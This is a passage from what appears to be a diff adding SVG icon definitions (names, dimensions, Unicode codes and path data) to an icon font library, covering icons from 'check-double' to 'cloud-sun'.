308.118l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.249 16.379 6.249 22.628.001z"], + "check-double": [512, 512, [], "f560", "M505 174.8l-39.6-39.6c-9.4-9.4-24.6-9.4-33.9 0L192 374.7 80.6 263.2c-9.4-9.4-24.6-9.4-33.9 0L7 302.9c-9.4 9.4-9.4 24.6 0 34L175 505c9.4 9.4 24.6 9.4 33.9 0l296-296.2c9.4-9.5 9.4-24.7.1-34zm-324.3 106c6.2 6.3 16.4 6.3 22.6 0l208-208.2c6.2-6.3 6.2-16.4 0-22.6L366.1 4.7c-6.2-6.3-16.4-6.3-22.6 0L192 156.2l-55.4-55.5c-6.2-6.3-16.4-6.3-22.6 0L68.7 146c-6.2 6.3-6.2 16.4 0 22.6l112 112.2z"], + "check-square": [448, 512, [], "f14a", "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zm-204.686-98.059l184-184c6.248-6.248 6.248-16.379 0-22.627l-22.627-22.627c-6.248-6.248-16.379-6.249-22.628 0L184 302.745l-70.059-70.059c-6.248-6.248-16.379-6.248-22.628 0l-22.627 22.627c-6.248 6.248-6.248 16.379 0 22.627l104 104c6.249 6.25 16.379 6.25 22.628.001z"], + "cheese": [512, 512, [], "f7ef", "M0 288v160a32 32 0 0 0 32 32h448a32 32 0 0 0 32-32V288zM299.83 32a32 32 0 0 0-21.13 7L0 256h512c0-119.89-94-217.8-212.17-224z"], + "chess": [512, 512, [], "f439", "M74 208H64a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h15.94A535.78 535.78 0 0 1 64 384h128a535.78 535.78 0 0 1-15.94-128H192a16 16 0 0 0 16-16v-16a16 16 0 0 0-16-16h-10l33.89-90.38a16 16 0 0 0-15-21.62H144V64h24a8 8 0 0 0 8-8V40a8 8 0 0 0-8-8h-24V8a8 8 0 0 0-8-8h-16a8 8 0 0 0-8 8v24H88a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h24v32H55.09a16 16 0 0 0-15 21.62zm173.16 251.58L224 448v-16a16 16 0 0 0-16-16H48a16 16 0 0 0-16 16v16L8.85 459.58A16 16 0 0 0 0 473.89V496a16 16 0 0 0 16 16h224a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31zm92.77-157.78l-3.29 82.2h126.72l-3.29-82.21 24.6-20.79A32 32 0 0 0 496 256.54V198a6 6 0 0 0-6-6h-26.38a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H373.1a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H310a6 6 0 0 0-6 6v58.6a32 32 0 0 0 11.36 24.4zM384 304a16 16 0 0 1 32 0v32h-32zm119.16 155.58L480 448v-16a16 16 0 0 0-16-16H336a16 16 0 0 0-16 16v16l-23.15 11.58a16 16 0 0 0-8.85 14.31V496a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31z"], + "chess-bishop": [320, 512, [], "f43a", "M8 287.88c0 51.64 22.14 73.83 56 84.6V416h192v-43.52c33.86-10.77 56-33 56-84.6 0-30.61-10.73-67.1-26.69-102.56L185 285.65a8 8 0 0 1-11.31 0l-11.31-11.31a8 8 0 0 1 0-11.31L270.27 155.1c-20.8-37.91-46.47-72.1-70.87-92.59C213.4 59.09 224 47.05 224 32a32 32 0 0 0-32-32h-64a32 32 0 0 0-32 32c0 15 10.6 27.09 24.6 30.51C67.81 106.8 8 214.5 8 287.88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "chess-board": [512, 512, [], "f43c", "M255.9.2h-64v64h64zM0 64.17v64h64v-64zM128 .2H64v64h64zm64 255.9v64h64v-64zM0 192.12v64h64v-64zM383.85.2h-64v64h64zm128 0h-64v64h64zM128 256.1H64v64h64zM511.8 448v-64h-64v64zm0-128v-64h-64v64zM383.85 512h64v-64h-64zm128-319.88v-64h-64v64zM128 512h64v-64h-64zM0 512h64v-64H0zm255.9 0h64v-64h-64zM0 320.07v64h64v-64zm319.88-191.92v-64h-64v64zm-64 128h64v-64h-64zm-64 128v64h64v-64zm128-64h64v-64h-64zm0-127.95h64v-64h-64zm0 191.93v64h64v-64zM64 384.05v64h64v-64zm128-255.9v-64h-64v64zm191.92 255.9h64v-64h-64zm-128-191.93v-64h-64v64zm128-127.95v64h64v-64zm-128 255.9v64h64v-64zm-64-127.95H128v64h64zm191.92 64h64v-64h-64zM128 128.15H64v64h64zm0 191.92v64h64v-64z"], + "chess-king": [448, 512, [], "f43f", "M400 448H48a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm16-288H256v-48h40a8 8 0 0 0 8-8V56a8 8 0 0 0-8-8h-40V8a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v40h-40a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8h40v48H32a32 32 0 0 0-30.52 41.54L74.56 416h298.88l73.08-214.46A32 32 0 0 0 416 160z"], + "chess-knight": [384, 512, [], "f441", "M19 272.47l40.63 18.06a32 32 0 0 0 24.88.47l12.78-5.12a32 32 0 0 0 18.76-20.5l9.22-30.65a24 24 0 0 1 12.55-15.65L159.94 208v50.33a48 48 0 0 1-26.53 42.94l-57.22 28.65A80 80 0 0 0 32 401.48V416h319.86V224c0-106-85.92-192-191.92-192H12A12 12 0 0 0 0 44a16.9 16.9 0 0 0 1.79 7.58L16 80l-9 9a24 24 0 0 0-7 17v137.21a32 32 0 0 0 19 29.26zM52 128a20 20 0 1 1-20 20 20 20 0 0 1 20-20zm316 320H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "chess-pawn": [320, 512, [], "f443", "M105.1 224H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h16v5.49c0 44-4.14 86.6-24 122.51h176c-19.89-35.91-24-78.51-24-122.51V288h16a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-25.1c29.39-18.38 49.1-50.78 49.1-88a104 104 0 0 0-208 0c0 37.22 19.71 69.62 49.1 88zM304 448H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "chess-queen": [512, 512, [], "f445", "M256 112a56 56 0 1 0-56-56 56 56 0 0 0 56 56zm176 336H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm72.87-263.84l-28.51-15.92c-7.44-5-16.91-2.46-22.29 4.68a47.59 47.59 0 0 1-47.23 18.23C383.7 186.86 368 164.93 368 141.4a13.4 13.4 0 0 0-13.4-13.4h-38.77c-6 0-11.61 4-12.86 9.91a48 48 0 0 1-93.94 0c-1.25-5.92-6.82-9.91-12.86-9.91H157.4a13.4 13.4 0 0 0-13.4 13.4c0 25.69-19 48.75-44.67 50.49a47.5 47.5 0 0 1-41.54-19.15c-5.28-7.09-14.73-9.45-22.09-4.54l-28.57 16a16 16 0 0 0-5.44 20.47L104.24 416h303.52l102.55-211.37a16 16 0 0 0-5.44-20.47z"], + "chess-rook": [384, 512, [], "f447", "M368 32h-56a16 16 0 0 0-16 16v48h-48V48a16 16 0 0 0-16-16h-80a16 16 0 0 0-16 16v48H88.1V48a16 16 0 0 0-16-16H16A16 16 0 0 0 0 48v176l64 32c0 48.33-1.54 95-13.21 160h282.42C321.54 351 320 303.72 320 256l64-32V48a16 16 0 0 0-16-16zM224 320h-64v-64a32 32 0 0 1 64 0zm144 128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "chevron-circle-down": [512, 512, [], "f13a", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM273 369.9l135.5-135.5c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L256 285.1 154.4 183.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L239 369.9c9.4 9.4 24.6 9.4 34 0z"], + "chevron-circle-left": [512, 512, [], "f137", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zM142.1 273l135.5 135.5c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L226.9 256l101.6-101.6c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L142.1 239c-9.4 9.4-9.4 24.6 0 34z"], + "chevron-circle-right": [512, 512, [], "f138", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm113.9 231L234.4 103.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L285.1 256 183.5 357.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L369.9 273c9.4-9.4 9.4-24.6 0-34z"], + "chevron-circle-up": [512, 512, [], "f139", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm231-113.9L103.5 277.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L256 226.9l101.6 101.6c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L273 142.1c-9.4-9.4-24.6-9.4-34 0z"], + "chevron-down": [448, 512, [], "f078", "M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z"], + "chevron-left": [320, 512, [], "f053", "M34.52 239.03L228.87 44.69c9.37-9.37 24.57-9.37 33.94 0l22.67 22.67c9.36 9.36 9.37 24.52.04 33.9L131.49 256l154.02 154.75c9.34 9.38 9.32 24.54-.04 33.9l-22.67 22.67c-9.37 9.37-24.57 9.37-33.94 0L34.52 272.97c-9.37-9.37-9.37-24.57 0-33.94z"], + "chevron-right": [320, 512, [], "f054", "M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z"], + "chevron-up": [448, 512, [], "f077", "M240.971 130.524l194.343 194.343c9.373 9.373 9.373 24.569 0 33.941l-22.667 22.667c-9.357 9.357-24.522 9.375-33.901.04L224 227.495 69.255 381.516c-9.379 9.335-24.544 9.317-33.901-.04l-22.667-22.667c-9.373-9.373-9.373-24.569 0-33.941L207.03 130.525c9.372-9.373 24.568-9.373 33.941-.001z"], + "child": [384, 512, [], "f1ae", "M120 72c0-39.765 32.235-72 72-72s72 32.235 72 72c0 39.764-32.235 72-72 72s-72-32.236-72-72zm254.627 1.373c-12.496-12.497-32.758-12.497-45.254 0L242.745 160H141.254L54.627 73.373c-12.496-12.497-32.758-12.497-45.254 0-12.497 12.497-12.497 32.758 0 45.255L104 213.254V480c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V368h16v112c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V213.254l94.627-94.627c12.497-12.497 12.497-32.757 0-45.254z"], + "church": [640, 512, [], "f51d", "M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z"], + "circle": [512, 512, [], "f111", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8z"], + "circle-notch": [512, 512, [], "f1ce", "M288 39.056v16.659c0 10.804 7.281 20.159 17.686 23.066C383.204 100.434 440 171.518 440 256c0 101.689-82.295 184-184 184-101.689 0-184-82.295-184-184 0-84.47 56.786-155.564 134.312-177.219C216.719 75.874 224 66.517 224 55.712V39.064c0-15.709-14.834-27.153-30.046-23.234C86.603 43.482 7.394 141.206 8.003 257.332c.72 137.052 111.477 246.956 248.531 246.667C393.255 503.711 504 392.788 504 256c0-115.633-79.14-212.779-186.211-240.236C302.678 11.889 288 23.456 288 39.056z"], + "city": [640, 512, [], "f64f", "M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z"], + "clinic-medical": [576, 512, [], "f7f2", "M288 115L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2zm96 261a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8zm186.69-139.72l-255.94-226a39.85 39.85 0 0 0-53.45 0l-256 226a16 16 0 0 0-1.21 22.6L25.5 282.7a16 16 0 0 0 22.6 1.21L277.42 81.63a16 16 0 0 1 21.17 0L527.91 283.9a16 16 0 0 0 22.6-1.21l21.4-23.82a16 16 0 0 0-1.22-22.59z"], + "clipboard": [384, 512, [], "f328", "M384 112v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h80c0-35.29 28.71-64 64-64s64 28.71 64 64h80c26.51 0 48 21.49 48 48zM192 40c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24m96 114v-20a6 6 0 0 0-6-6H102a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h180a6 6 0 0 0 6-6z"], + "clipboard-check": [384, 512, [], "f46c", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm121.2 231.8l-143 141.8c-4.7 4.7-12.3 4.6-17-.1l-82.6-83.3c-4.7-4.7-4.6-12.3.1-17L99.1 285c4.7-4.7 12.3-4.6 17 .1l46 46.4 106-105.2c4.7-4.7 12.3-4.6 17 .1l28.2 28.4c4.7 4.8 4.6 12.3-.1 17z"], + "clipboard-list": [384, 512, [], "f46d", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM96 424c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm96-192c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm128 368c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z"], + "clock": [512, 512, [], "f017", "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm92.49,313h0l-20,25a16,16,0,0,1-22.49,2.5h0l-67-49.72a40,40,0,0,1-15-31.23V112a16,16,0,0,1,16-16h32a16,16,0,0,1,16,16V256l58,42.5A16,16,0,0,1,348.49,321Z"], + "clone": [512, 512, [], "f24d", "M464 0c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48H176c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h288M176 416c-44.112 0-80-35.888-80-80V128H48c-26.51 0-48 21.49-48 48v288c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48v-48H176z"], + "closed-captioning": [512, 512, [], "f20a", "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM218.1 287.7c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2.1 48 51.1 70.5 92.3 32.6zm190.4 0c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.5 56.9-172.7 32.1-172.7-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 222.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6z"], + "cloud": [640, 512, [], "f0c2", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4z"], + "cloud-download-alt": [640, 512, [], "f381", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zm-132.9 88.7L299.3 420.7c-6.2 6.2-16.4 6.2-22.6 0L171.3 315.3c-10.1-10.1-2.9-27.3 11.3-27.3H248V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v112h65.4c14.2 0 21.4 17.2 11.3 27.3z"], + "cloud-meatball": [512, 512, [], "f73b", "M48 352c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm416 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm-119 11.1c4.6-14.5 1.6-30.8-9.8-42.3-11.5-11.5-27.8-14.4-42.3-9.9-7-13.5-20.7-23-36.9-23s-29.9 9.5-36.9 23c-14.5-4.6-30.8-1.6-42.3 9.9-11.5 11.5-14.4 27.8-9.9 42.3-13.5 7-23 20.7-23 36.9s9.5 29.9 23 36.9c-4.6 14.5-1.6 30.8 9.9 42.3 8.2 8.2 18.9 12.3 29.7 12.3 4.3 0 8.5-1.1 12.6-2.5 7 13.5 20.7 23 36.9 23s29.9-9.5 36.9-23c4.1 1.3 8.3 2.5 12.6 2.5 10.8 0 21.5-4.1 29.7-12.3 11.5-11.5 14.4-27.8 9.8-42.3 13.5-7 23-20.7 23-36.9s-9.5-29.9-23-36.9zM512 224c0-53-43-96-96-96-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h43.4c3.6-8 8.4-15.4 14.8-21.8 13.5-13.5 31.5-21.1 50.8-21.3 13.5-13.2 31.7-20.9 51-20.9s37.5 7.7 51 20.9c19.3.2 37.3 7.8 50.8 21.3 6.4 6.4 11.3 13.8 14.8 21.8H416c53 0 96-43 96-96z"], + "cloud-moon": [576, 512, [], "f6c3", "M342.8 352.7c5.7-9.6 9.2-20.7 9.2-32.7 0-35.3-28.7-64-64-64-17.2 0-32.8 6.9-44.3 17.9-16.3-29.6-47.5-49.9-83.7-49.9-53 0-96 43-96 96 0 2 .5 3.8.6 5.7C27.1 338.8 0 374.1 0 416c0 53 43 96 96 96h240c44.2 0 80-35.8 80-80 0-41.9-32.3-75.8-73.2-79.3zm222.5-54.3c-93.1 17.7-178.5-53.7-178.5-147.7 0-54.2 29-104 76.1-130.8 7.3-4.1 5.4-15.1-2.8-16.7C448.4 1.1 436.7 0 425 0 319.1 0 233.1 85.9 233.1 192c0 8.5.7 16.8 1.8 25 5.9 4.3 11.6 8.9 16.7 14.2 11.4-4.7 23.7-7.2 36.4-7.2 52.9 0 96 43.1 96 96 0 3.6-.2 7.2-.6 10.7 23.6 10.8 42.4 29.5 53.5 52.6 54.4-3.4 103.7-29.3 137.1-70.4 5.3-6.5-.5-16.1-8.7-14.5z"], + "cloud-moon-rain": [576, 512, [], "f73c", "M350.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C27.6 232.9 0 265.2 0 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm217.4-1.7c-70.4 13.3-135-40.3-135-110.8 0-40.6 21.9-78 57.5-98.1 5.5-3.1 4.1-11.4-2.1-12.5C479.6.8 470.7 0 461.8 0c-77.9 0-141.1 61.2-144.4 137.9 26.7 11.9 48.2 33.8 58.9 61.7 37.1 14.3 64 47.4 70.2 86.8 5.1.5 10 1.5 15.2 1.5 44.7 0 85.6-20.2 112.6-53.3 4.2-4.8-.2-12-6.4-10.8zM364.5 418.1c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z"], + "cloud-rain": [512, 512, [], "f73d", "M416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96zM88 374.2c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0z"], + "cloud-showers-heavy": [512, 512, [], "f740", "M183.9 370.1c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-192 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm384 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zM416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.2 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96z"], + "cloud-sun": [640, 512, [], "f6c4", "M575.2 325.7c.2-1.9.8-3.7.8-5.6 0-35.3-28.7-64-64-64-12.6 0-24.2 3.8-34.1 10-17.6-38.8-56.5-66-101.9-66-61.8 0-112 50.1-112 112 0 3 .7 5.8.9 8.7-49.6 3.7-88.9 44.7-88.9 95.3 0 53 43 96 96 96h272c53 0 96-43 96-96 0-42.1-27.2-77.4-64.8-90.4zm-430.4-22.6c-43.7-43.7-43.7-114.7 0-158.3 43.7-43.7 114.7-43.7 158.4 0 9.7 9.7 16.9 20.9 22.3 32.7 9.8-3.7 20.1-6 30.7-7.5L386 81.1c4-11.9-7.3-23.1-19.2-19.2L279 91.2 237.5 8.4C232-2.8 216-2.8 210.4 8.4L169 91.2 81.1 61.9C69.3 58 58 69.3 61.9 81.1l29.3 87.8-82.8 41.5c-11.2 5.6-11.2 21.5 0 27.1l82.8 41.4-29.3 87.8c-4 11.9 7.3 23.1 19.2 19.2l76.1-25.3c6.1-12.4 14-23.7 